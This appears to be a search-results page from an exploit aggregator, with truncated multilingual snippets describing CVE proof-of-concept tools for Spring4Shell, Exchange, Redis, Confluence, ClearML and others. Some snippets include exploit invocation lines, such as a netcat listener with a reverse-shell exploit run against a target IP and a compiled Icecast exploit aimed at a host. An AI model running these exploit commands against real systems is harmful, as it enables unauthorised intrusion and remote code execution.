1130206 matches found
CVE-2022-22965-PoC
CVE-2022-22965 Spring4Shell إثبات المفهوم اختبار RCE تنفيذ التعليمات البرمجية عن بُعد في Spring Core بناء الصورة البناء المعتمد على BuildKit مطلوب، لذا تحتاج إلى تفعيله. أسهل طريقة هي تعيين متغير البيئة DOCKERBUILDKIT=1 عند استدعاء أمر docker build، كما يلي: root@kitploit: $ DOCKERBUILDKIT=1 dock...
CVE-2023-46012
CVE-2023-46012 LINKSYS AC1900 EA7500v3 IGD UPnP स्टैक बफर ओवरफ्लो रिमोट कोड निष्पादन भेद्यता यह भेद्यता नेटवर्क-निकटवर्ती हमलावरों को LINKSYS EA7500 राउटर के प्रभावित इंस्टॉलेशन पर मनमाना कोड निष्पादित करने की अनुमति देती है। इस भेद्यता का शोषण करने के लिए प्रमाणीकरण की आवश्यकता नहीं है। विशिष्ट...
PSForgot2kEyXCHANGE
PSForgot2kEyXCHANGE Forgot2kEyXCHANGE CVE-2020-0688 के लिए PoC, PowerShell में लिखा गया उपयोग इस PoC के लिए एक मान्य उपयोगकर्ता नाम और पासवर्ड आवश्यक है। यह PoC नए ViewState को बनाने के लिए ysoserial.net का उपयोग करता है, जिसमें आप -Command पैरामीटर पर निर्दिष्ट कमांड शामिल होता है। यदि आपके सिस्...
CVE-2026-24061_POC
CVE-2026-24061 GNU Telnetd RCE Параметры скрипта...
CVE-2021-44521
CVE-2021-44521 PoC آلي لثغرة CVE-2021-44521 يعود الفضل في الـ PoC الأصلي إلى: https://jfrog.com/blog/cve-2021-44521-exploiting-apache-cassandra-user-defined-functions-for-remote-code-execution/ المتطلبات Cassandra-driver root@kitploit: pip3 install cassandra-driver الاستخدام root@kitploit: python...
Apktool
Apktool यह Apktool का रिपॉजिटरी है। वेबसाइटapktool.org रिपॉजिटरी पर है। Apktool तीसरे पक्ष के बंद, बाइनरी, Android ऐप्स के रिवर्स इंजीनियरिंग के लिए एक उपकरण है। यह संसाधनों को लगभग मूल रूप में डिकोड कर सकता है और कुछ संशोधन करने के बाद उन्हें पुनर्निर्माण कर सकता है; यह smali कोड को चरण-दर-चरण...
CVE-2026-47864
Spring Integration 's SerializingHttpMessageConverter deserializes incoming HTTP request bodies using a raw java.io.ObjectInputStream with no class filtering. Any request carrying Content-Type: application/x-java-serialized-object whose body resolves to a Serializable type is passed directly to r...
CVE-2026-47864 Unsafe Java deserialization in SerializingHttpMessageConverter — remote code execution
SerializingHttpMessageConverter deserializes the body of incoming HTTP requests with a raw java.io.ObjectInputStream and no class filtering. Any request with Content-Type application/x-java-serialized-object whose body resolves to a Serializable type is read directly via readObject. If an...
CVE-2004-1561
CVE-2004-1561 تجاوز سعة المخزن المؤقت لرأس Icecast يؤدي إلى تنفيذ تعليمات برمجية عن بُعد تحديث لـ 568-edit.c تمكنت من تشغيل الاستغلال الأصلي. تم التعديل وفقًا لهذا. الاستخدام لـ 568-edit.c root@kitploit: root@Kali:/TryHackme/Ice gcc 568-edit.c -o 568 root@Kali:/TryHackme/Ice ./568 192.168.92.133...
CVE-2020-10238
من صنع HK CVE-2020-10238: التحكم في الوصول غير صحيح في comtemplates - RCE CVE-2020-10239: التحكم في الوصول غير صحيح في حقل SQL في comfields - RCE رابط https://developer.joomla.org/security-centre/804-20200303-core-incorrect-access-control-in-com-templates.html...
juice-shop
OWASP Juice Shop...
CVE-2023-22527
CVE-2023-22527 يقدم هذا المستودع إثباتًا لمفهوم PoC لثغرة CVE-2023-22527 CVE-2023-22527 | تنفيذ الأوامر عن بُعد RCE باستخدام حقن القوالب من جانب الخادم SSTI في Confluence إخلاء مسؤولية هذا الكود هو إثبات لمفهوم الثغرة، ولا أشجع أي شخص على استخدامه على نسخ Confluence لا يملكها. تم تطوير هذه الأداة...
CVE-2022-0543
CVE-2022-0543 CVE-2022-0543RCE, Обход песочницы Lua в Redis, выполнение команд Использование python3 CVE-2022-0543.py...
CVE-2021-43857-Gerapy-v0.9.7
CVE-2021-43857-Gerapy-v0.9.7 войдите на портал как администратор добавьте новый проект sudo nc -lvnp 80 searchsploit -m python/remote/50640.py python3 ./50640.py -t IP-TARGET/URL -p PORT-TARGET -L YOUR-KALI-LINUX-IP -P YOUR-LISTENER-PORT python3 ./50640.py -t 192.168.106.24 -p 8000 -L...
CVE-2015-8660
CVE-2015-8660 Данный код содержит эксплойт для уязвимости CVE-2015-8660, а также комментарии, исходный код с проблемой и код после применения патча. Подробное объяснение кода смотрите в моем блоге: http://blog.csdn.net/enjoy5512/article/details/51155798...
CVE-2017-8759
Outil d'exploitation CVE-2017-8759 L'outil d'exploitation CVE-2017-8759 est un script Python pratique qui fournit aux pentesters et aux chercheurs en sécurité un moyen rapide et efficace de tester la RCE de Microsoft .NET Framework. Il peut générer un fichier RTF malveillant et distribuer une...
eLabFTW-1.8.5-EntityController-Arbitrary-File-Upload-RCE
Exploit Title : eLabFTW 1.8.5 'EntityController' मनमानी फ़ाइल अपलोड / RCE Date : 5/18/19 Exploit Author : liquidsky Joseph McPeters Vulnerable Software : eLabFTW 1.8.5 Vendor Homepage : https://www.elabftw.net/ Version : 1.8.5 Software Link : https://doc.elabftw.net/ Tested On : Linux / PHP Versi...
CVE-2026-21011-Log4j-style-JNDI-Injection-in-Custom-Logger-Simulated-
CVE-2026-21011 – حقن JNDI بأسلوب Log4j في مسجّل مخصص محاكاة كود البرنامج محاكاة Java بلغة Python root@kitploit: log4jsim.py - Custom logger that evaluates $... patterns import subprocess, re def logmessage: Vulnerable: looks up JNDI-like syntax and executes pattern = r'$\jndi:.+?' for match in...
CVE-2024-24590-ClearML-RCE-CMD-POC
ClearML शोषण स्क्रिप्ट यह रिपॉजिटरी CVE-2024-24590 के लिए एक Python शोषण स्क्रिप्ट शामिल करती है। स्क्रिप्ट ClearML पर एक दुर्भावनापूर्ण pickle फ़ाइल अपलोड करने के लिए डिज़ाइन की गई है, जो रिवर्स शेल या कस्टम कमांड निष्पादित करती है। विशेषताएँ ClearML पर एक दुर्भावनापूर्ण pickle आर्टिफैक्ट अपलोड...